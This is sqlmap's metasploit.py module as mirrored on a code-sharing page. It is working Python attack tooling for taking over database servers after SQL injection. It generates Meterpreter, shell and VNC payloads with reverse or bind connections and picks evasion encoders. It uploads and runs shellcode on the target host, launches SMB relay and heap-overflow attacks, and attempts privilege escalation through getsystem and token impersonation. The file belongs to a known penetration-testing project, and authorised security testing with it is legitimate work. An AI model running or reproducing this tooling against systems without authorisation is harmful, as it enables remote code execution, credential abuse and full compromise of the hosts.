Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/metasploit.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import print_function
9
10
import errno
11
import os
12
import re
13
import select
14
import sys
15
import tempfile
16
import time
17
18
from subprocess import PIPE
19
20
from extra.cloak.cloak import cloak
21
from extra.cloak.cloak import decloak
22
from lib.core.common import dataToStdout
23
from lib.core.common import Backend
24
from lib.core.common import getLocalIP
25
from lib.core.common import getRemoteIP
26
from lib.core.common import isDigit
27
from lib.core.common import normalizePath
28
from lib.core.common import ntToPosixSlashes
29
from lib.core.common import pollProcess
30
from lib.core.common import randomRange
31
from lib.core.common import randomStr
32
from lib.core.common import readInput
33
from lib.core.convert import getBytes
34
from lib.core.convert import getText
35
from lib.core.data import conf
36
from lib.core.data import kb
37
from lib.core.data import logger
38
from lib.core.data import paths
39
from lib.core.enums import DBMS
40
from lib.core.enums import OS
41
from lib.core.exception import SqlmapDataException
42
from lib.core.exception import SqlmapFilePathException
43
from lib.core.exception import SqlmapGenericException
44
from lib.core.settings import IS_WIN
45
from lib.core.settings import METASPLOIT_SESSION_TIMEOUT
46
from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER
47
from lib.core.subprocessng import blockingReadFromFD
48
from lib.core.subprocessng import blockingWriteToFD
49
from lib.core.subprocessng import Popen as execute
50
from lib.core.subprocessng import send_all
51
from lib.core.subprocessng import recv_some
52
from thirdparty import six
53
54
if IS_WIN:
55
import msvcrt
56
57
class Metasploit(object):
58
"""
59
This class defines methods to call Metasploit for plugins.
60
"""
61
62
def _initVars(self):
63
self.connectionStr = None
64
self.lhostStr = None
65
self.rhostStr = None
66
self.portStr = None
67
self.payloadStr = None
68
self.encoderStr = None
69
self.payloadConnStr = None
70
self.localIP = getLocalIP()
71
self.remoteIP = getRemoteIP() or conf.hostname
72
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else "")))
73
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else "")))
74
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else "")))
75
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else "")))
76
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else "")))
77
78
self._msfPayloadsList = {
79
"windows": {
80
1: ("Meterpreter (default)", "windows/meterpreter"),
81
2: ("Shell", "windows/shell"),
82
3: ("VNC", "windows/vncinject"),
83
},
84
"linux": {
85
1: ("Shell (default)", "linux/x86/shell"),
86
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
87
}
88
}
89
90
self._msfConnectionsList = {
91
"windows": {
92
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
93
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
94
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
95
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
96
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
97
},
98
"linux": {
99
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
100
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
101
}
102
}
103
104
self._msfEncodersList = {
105
"windows": {
106
1: ("No Encoder", "generic/none"),
107
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
108
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
109
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
110
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
111
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
112
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
113
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
114
9: ("Non-Alpha Encoder", "x86/nonalpha"),
115
10: ("Non-Upper Encoder", "x86/nonupper"),
116
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
117
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
118
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
119
}
120
}
121
122
self._msfSMBPortsList = {
123
"windows": {
124
1: ("139/TCP", "139"),
125
2: ("445/TCP (default)", "445"),
126
}
127
}
128
129
self._portData = {
130
"bind": "remote port number",
131
"reverse": "local port number",
132
}
133
134
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
135
if Backend.isOs(OS.WINDOWS):
136
opSys = "windows"
137
else:
138
opSys = "linux"
139
140
message = "which %s do you want to use?" % msg
141
142
if lst:
143
for num, data in lst[opSys].items():
144
description = data[0]
145
146
if num > maxValue:
147
maxValue = num
148
149
if "(default)" in description:
150
default = num
151
152
message += "\n[%d] %s" % (num, description)
153
else:
154
message += " [%d] " % default
155
156
choice = readInput(message, default="%d" % default)
157
158
if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1:
159
choice = default
160
161
choice = int(choice)
162
163
if lst:
164
choice = lst[opSys][choice][1]
165
166
return choice
167
168
def _selectSMBPort(self):
169
return self._skeletonSelection("SMB port", self._msfSMBPortsList)
170
171
def _selectEncoder(self, encode=True):
172
# This is always the case except for --os-bof where the user can
173
# choose which encoder to use. When called from --os-pwn the encoder
174
# is always x86/alpha_mixed - used for sys_bineval() and
175
# shellcodeexec
176
if isinstance(encode, six.string_types):
177
return encode
178
179
elif encode:
180
return self._skeletonSelection("payload encoding", self._msfEncodersList)
181
182
def _selectPayload(self):
183
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
184
infoMsg = "forcing Metasploit payload to Meterpreter because "
185
infoMsg += "it is the only payload that can be used to "
186
infoMsg += "escalate privileges via 'incognito' extension, "
187
infoMsg += "'getsystem' command or post modules"
188
logger.info(infoMsg)
189
190
_payloadStr = "windows/meterpreter"
191
else:
192
_payloadStr = self._skeletonSelection("payload", self._msfPayloadsList)
193
194
if _payloadStr == "windows/vncinject":
195
choose = False
196
197
if Backend.isDbms(DBMS.MYSQL):
198
debugMsg = "by default MySQL on Windows runs as SYSTEM "
199
debugMsg += "user, it is likely that the VNC "
200
debugMsg += "injection will be successful"
201
logger.debug(debugMsg)
202
203
elif Backend.isDbms(DBMS.PGSQL):
204
choose = True
205
206
warnMsg = "by default PostgreSQL on Windows runs as "
207
warnMsg += "postgres user, it is unlikely that the VNC "
208
warnMsg += "injection will be successful"
209
logger.warning(warnMsg)
210
211
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
212
choose = True
213
214
warnMsg = "it is unlikely that the VNC injection will be "
215
warnMsg += "successful because usually Microsoft SQL Server "
216
warnMsg += "%s runs as Network Service " % Backend.getVersion()
217
warnMsg += "or the Administrator is not logged in"
218
logger.warning(warnMsg)
219
220
if choose:
221
message = "what do you want to do?\n"
222
message += "[1] Give it a try anyway\n"
223
message += "[2] Fall back to Meterpreter payload (default)\n"
224
message += "[3] Fall back to Shell payload"
225
226
while True:
227
choice = readInput(message, default="2")
228
229
if not choice or choice == "2":
230
_payloadStr = "windows/meterpreter"
231
break
232
233
elif choice == "3":
234
_payloadStr = "windows/shell"
235
break
236
237
elif choice == "1":
238
if Backend.isDbms(DBMS.PGSQL):
239
logger.warning("beware that the VNC injection might not work")
240
break
241
242
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
243
break
244
245
elif not isDigit(choice):
246
logger.warning("invalid value, only digits are allowed")
247
248
elif int(choice) < 1 or int(choice) > 2:
249
logger.warning("invalid value, it must be 1 or 2")
250
251
if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter":
252
warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
253
warnMsg += "with the Meterpreter payload. Falling back to "
254
warnMsg += "reverse TCP"
255
logger.warning(warnMsg)
256
257
self.connectionStr = "reverse_tcp"
258
259
return _payloadStr
260
261
def _selectPort(self):
262
for connType, connStr in self._portData.items():
263
if self.connectionStr.startswith(connType):
264
return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
265
266
def _selectRhost(self):
267
if self.connectionStr.startswith("bind"):
268
message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP
269
address = readInput(message, default=self.remoteIP)
270
271
if not address:
272
address = self.remoteIP
273
274
return address
275
276
elif self.connectionStr.startswith("reverse"):
277
return None
278
279
else:
280
raise SqlmapDataException("unexpected connection type")
281
282
def _selectLhost(self):
283
if self.connectionStr.startswith("reverse"):
284
message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP
285
address = readInput(message, default=self.localIP)
286
287
if not address:
288
address = self.localIP
289
290
return address
291
292
elif self.connectionStr.startswith("bind"):
293
return None
294
295
else:
296
raise SqlmapDataException("unexpected connection type")
297
298
def _selectConnection(self):
299
return self._skeletonSelection("connection type", self._msfConnectionsList)
300
301
def _prepareIngredients(self, encode=True):
302
self.connectionStr = self._selectConnection()
303
self.lhostStr = self._selectLhost()
304
self.rhostStr = self._selectRhost()
305
self.portStr = self._selectPort()
306
self.payloadStr = self._selectPayload()
307
self.encoderStr = self._selectEncoder(encode)
308
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
309
310
def _forgeMsfCliCmd(self, exitfunc="process"):
311
if kb.oldMsf:
312
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
313
self._cliCmd += " EXITFUNC=%s" % exitfunc
314
self._cliCmd += " LPORT=%s" % self.portStr
315
316
if self.connectionStr.startswith("bind"):
317
self._cliCmd += " RHOST=%s" % self.rhostStr
318
elif self.connectionStr.startswith("reverse"):
319
self._cliCmd += " LHOST=%s" % self.lhostStr
320
else:
321
raise SqlmapDataException("unexpected connection type")
322
323
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
324
self._cliCmd += " DisableCourtesyShell=true"
325
326
self._cliCmd += " E"
327
else:
328
self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
329
self._cliCmd += "; set EXITFUNC %s" % exitfunc
330
self._cliCmd += "; set LPORT %s" % self.portStr
331
332
if self.connectionStr.startswith("bind"):
333
self._cliCmd += "; set RHOST %s" % self.rhostStr
334
elif self.connectionStr.startswith("reverse"):
335
self._cliCmd += "; set LHOST %s" % self.lhostStr
336
else:
337
raise SqlmapDataException("unexpected connection type")
338
339
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
340
self._cliCmd += "; set DisableCourtesyShell true"
341
342
self._cliCmd += "; exploit'"
343
344
def _forgeMsfCliCmdForSmbrelay(self):
345
self._prepareIngredients(encode=False)
346
347
if kb.oldMsf:
348
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
349
self._cliCmd += " EXITFUNC=thread"
350
self._cliCmd += " LPORT=%s" % self.portStr
351
self._cliCmd += " SRVHOST=%s" % self.lhostStr
352
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
353
354
if self.connectionStr.startswith("bind"):
355
self._cliCmd += " RHOST=%s" % self.rhostStr
356
elif self.connectionStr.startswith("reverse"):
357
self._cliCmd += " LHOST=%s" % self.lhostStr
358
else:
359
raise SqlmapDataException("unexpected connection type")
360
361
self._cliCmd += " E"
362
else:
363
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
364
self._cliCmd += "; set EXITFUNC thread"
365
self._cliCmd += "; set LPORT %s" % self.portStr
366
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
367
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
368
369
if self.connectionStr.startswith("bind"):
370
self._cliCmd += "; set RHOST %s" % self.rhostStr
371
elif self.connectionStr.startswith("reverse"):
372
self._cliCmd += "; set LHOST %s" % self.lhostStr
373
else:
374
raise SqlmapDataException("unexpected connection type")
375
376
self._cliCmd += "; exploit'"
377
378
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
379
if kb.oldMsf:
380
self._payloadCmd = self._msfPayload
381
else:
382
self._payloadCmd = "%s -p" % self._msfVenom
383
384
self._payloadCmd += " %s" % self.payloadConnStr
385
self._payloadCmd += " EXITFUNC=%s" % exitfunc
386
self._payloadCmd += " LPORT=%s" % self.portStr
387
388
if self.connectionStr.startswith("reverse"):
389
self._payloadCmd += " LHOST=%s" % self.lhostStr
390
elif not self.connectionStr.startswith("bind"):
391
raise SqlmapDataException("unexpected connection type")
392
393
if Backend.isOs(OS.LINUX) and conf.privEsc:
394
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
395
396
if kb.oldMsf:
397
if extra == "BufferRegister=EAX":
398
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
399
400
if extra is not None:
401
self._payloadCmd += " %s" % extra
402
else:
403
self._payloadCmd += " X > \"%s\"" % outFile
404
else:
405
if extra == "BufferRegister=EAX":
406
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
407
408
if extra is not None:
409
self._payloadCmd += " %s" % extra
410
411
self._payloadCmd += " > \"%s\"" % outFile
412
else:
413
self._payloadCmd += " -f exe > \"%s\"" % outFile
414
415
def _runMsfCliSmbrelay(self):
416
self._forgeMsfCliCmdForSmbrelay()
417
418
infoMsg = "running Metasploit Framework command line "
419
infoMsg += "interface locally, please wait.."
420
logger.info(infoMsg)
421
422
logger.debug("executing local command: %s" % self._cliCmd)
423
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
424
425
def _runMsfCli(self, exitfunc):
426
self._forgeMsfCliCmd(exitfunc)
427
428
infoMsg = "running Metasploit Framework command line "
429
infoMsg += "interface locally, please wait.."
430
logger.info(infoMsg)
431
432
logger.debug("executing local command: %s" % self._cliCmd)
433
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
434
435
def _runMsfShellcodeRemote(self):
436
infoMsg = "running Metasploit Framework shellcode "
437
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
438
logger.info(infoMsg)
439
440
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
441
442
def _runMsfShellcodeRemoteViaSexec(self):
443
infoMsg = "running Metasploit Framework shellcode remotely "
444
infoMsg += "via shellcodeexec, please wait.."
445
logger.info(infoMsg)
446
447
if not Backend.isOs(OS.WINDOWS):
448
self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True)
449
cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString)
450
else:
451
cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString)
452
453
self.execCmd(cmd, silent=True)
454
455
def _loadMetExtensions(self, proc, metSess):
456
if not Backend.isOs(OS.WINDOWS):
457
return
458
459
send_all(proc, "use espia\n")
460
send_all(proc, "use incognito\n")
461
462
# This extension is loaded by default since Metasploit > 3.7:
463
# send_all(proc, "use priv\n")
464
465
# This extension freezes the connection on 64-bit systems:
466
# send_all(proc, "use sniffer\n")
467
468
send_all(proc, "sysinfo\n")
469
send_all(proc, "getuid\n")
470
471
if conf.privEsc:
472
print()
473
474
infoMsg = "trying to escalate privileges using Meterpreter "
475
infoMsg += "'getsystem' command which tries different "
476
infoMsg += "techniques, including kitrap0d"
477
logger.info(infoMsg)
478
479
send_all(proc, "getsystem\n")
480
481
infoMsg = "displaying the list of available Access Tokens. "
482
infoMsg += "Choose which user you want to impersonate by "
483
infoMsg += "using incognito's command 'impersonate_token' if "
484
infoMsg += "'getsystem' does not success to elevate privileges"
485
logger.info(infoMsg)
486
487
send_all(proc, "list_tokens -u\n")
488
send_all(proc, "getuid\n")
489
490
def _controlMsfCmd(self, proc, func):
491
initialized = False
492
start_time = time.time()
493
stdin_fd = sys.stdin.fileno()
494
495
while True:
496
returncode = proc.poll()
497
498
if returncode is None:
499
# Child hasn't exited yet
500
pass
501
else:
502
logger.debug("connection closed properly")
503
return returncode
504
505
try:
506
if IS_WIN:
507
timeout = 3
508
509
inp = b""
510
_ = time.time()
511
512
while True:
513
if msvcrt.kbhit():
514
char = msvcrt.getche()
515
516
if ord(char) == 13: # enter_key
517
break
518
elif ord(char) >= 32: # space_char
519
inp += char
520
521
if len(inp) == 0 and (time.time() - _) > timeout:
522
break
523
524
if len(inp) > 0:
525
try:
526
send_all(proc, inp)
527
except (EOFError, IOError):
528
# Probably the child has exited
529
pass
530
else:
531
ready_fds = select.select([stdin_fd], [], [], 1)
532
533
if stdin_fd in ready_fds[0]:
534
try:
535
send_all(proc, blockingReadFromFD(stdin_fd))
536
except (EOFError, IOError):
537
# Probably the child has exited
538
pass
539
540
out = recv_some(proc, t=.1, e=0)
541
blockingWriteToFD(sys.stdout.fileno(), getBytes(out))
542
543
# For --os-pwn and --os-bof
544
pwnBofCond = self.connectionStr.startswith("reverse")
545
pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse"))
546
547
# For --os-smbrelay
548
smbRelayCond = b"Server started" in out
549
550
if pwnBofCond or smbRelayCond:
551
func()
552
553
timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT
554
555
if not initialized:
556
match = re.search(b"Meterpreter session ([\\d]+) opened", out)
557
558
if match:
559
self._loadMetExtensions(proc, match.group(1))
560
561
if "shell" in self.payloadStr:
562
send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n")
563
time.sleep(2)
564
565
initialized = True
566
elif timeout:
567
proc.kill()
568
errMsg = "timeout occurred while attempting "
569
errMsg += "to open a remote session"
570
raise SqlmapGenericException(errMsg)
571
572
except select.error as ex:
573
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
574
if ex.args[0] == errno.EINTR:
575
continue
576
else:
577
return proc.returncode
578
except (EOFError, IOError):
579
return proc.returncode
580
except KeyboardInterrupt:
581
pass
582
583
def createMsfShellcode(self, exitfunc, format, extra, encode):
584
infoMsg = "creating Metasploit Framework multi-stage shellcode "
585
logger.info(infoMsg)
586
587
self._randStr = randomStr(lowercase=True)
588
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
589
590
Metasploit._initVars(self)
591
self._prepareIngredients(encode=encode)
592
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
593
594
logger.debug("executing local command: %s" % self._payloadCmd)
595
process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
596
597
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
598
pollProcess(process)
599
payloadStderr = process.communicate()[1]
600
601
match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr)
602
603
if match:
604
payloadSize = int(match.group(2))
605
606
if extra == "BufferRegister=EAX":
607
payloadSize = payloadSize // 2
608
609
debugMsg = "the shellcode size is %d bytes" % payloadSize
610
logger.debug(debugMsg)
611
else:
612
errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "")
613
raise SqlmapFilePathException(errMsg)
614
615
self._shellcodeFP = open(self._shellcodeFilePath, "rb")
616
self.shellcodeString = getText(self._shellcodeFP.read())
617
self._shellcodeFP.close()
618
619
os.unlink(self._shellcodeFilePath)
620
621
def uploadShellcodeexec(self, web=False):
622
self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec")
623
624
if Backend.isOs(OS.WINDOWS):
625
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
626
content = decloak(self.shellcodeexecLocal)
627
if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
628
content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER))))
629
_ = cloak(data=content)
630
handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
631
os.close(handle)
632
with open(self.shellcodeexecLocal, "w+b") as f:
633
f.write(_)
634
else:
635
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())
636
637
__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
638
639
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
640
self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
641
642
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
643
644
if web:
645
written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal)
646
else:
647
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
648
649
if written is not True:
650
errMsg = "there has been a problem uploading shellcodeexec. It "
651
errMsg += "looks like the binary file has not been written "
652
errMsg += "on the database underlying file system or an AV has "
653
errMsg += "flagged it as malicious and removed it"
654
logger.error(errMsg)
655
656
return False
657
else:
658
logger.info("shellcodeexec successfully uploaded")
659
return True
660
661
def pwn(self, goUdf=False):
662
if goUdf:
663
exitfunc = "thread"
664
func = self._runMsfShellcodeRemote
665
else:
666
exitfunc = "process"
667
func = self._runMsfShellcodeRemoteViaSexec
668
669
self._runMsfCli(exitfunc=exitfunc)
670
671
if self.connectionStr.startswith("bind"):
672
func()
673
674
debugMsg = "Metasploit Framework command line interface exited "
675
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
676
logger.debug(debugMsg)
677
678
if not goUdf:
679
time.sleep(1)
680
self.delRemoteFile(self.shellcodeexecRemote)
681
682
def smb(self):
683
Metasploit._initVars(self)
684
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
685
686
self._runMsfCliSmbrelay()
687
688
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
689
self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
690
else:
691
self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
692
693
debugMsg = "Metasploit Framework console exited with return "
694
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
695
logger.debug(debugMsg)
696
697
def bof(self):
698
self._runMsfCli(exitfunc="seh")
699
700
if self.connectionStr.startswith("bind"):
701
self.spHeapOverflow()
702
703
debugMsg = "Metasploit Framework command line interface exited "
704
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
705
logger.debug(debugMsg)
706
707